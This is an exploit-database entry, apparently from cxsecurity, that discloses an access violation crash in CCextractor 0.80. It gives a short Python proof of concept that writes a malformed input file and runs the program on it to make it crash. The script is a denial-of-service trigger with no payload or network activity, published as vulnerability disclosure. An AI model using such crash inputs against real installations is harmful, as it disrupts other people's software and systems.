CCextractor 0.80 Access Violation Crash

2016.06.02
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: CCextractor 0.80 Access Violation Crash # Date: 31st May 2016 # Exploit Author: David Silveiro (Xino.co.uk) # Vendor Homepage: http://www.ccextractor.org/ # Software Link: http://www.ccextractor.org/download-ccextractor.html # Version: 0.80 # Tested on: Ubuntu 14 LTS # CVE : 0 day from subprocess import call from shlex import split from time import sleep def crash(): command = './ccextractor crash' buffer = '\x00\x00\x00\x04ssixssixs' with open('crash', 'w+b') as file: file.write(buffer) try: call(split(command)) print("Exploit successful! ") except: print("Error: Something has gone wrong!") def main(): print("Author: David Silveiro ") print(" CCextractor 0.80 Access Violation Crash ") sleep(2) crash() if __name__ == "__main__": main()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top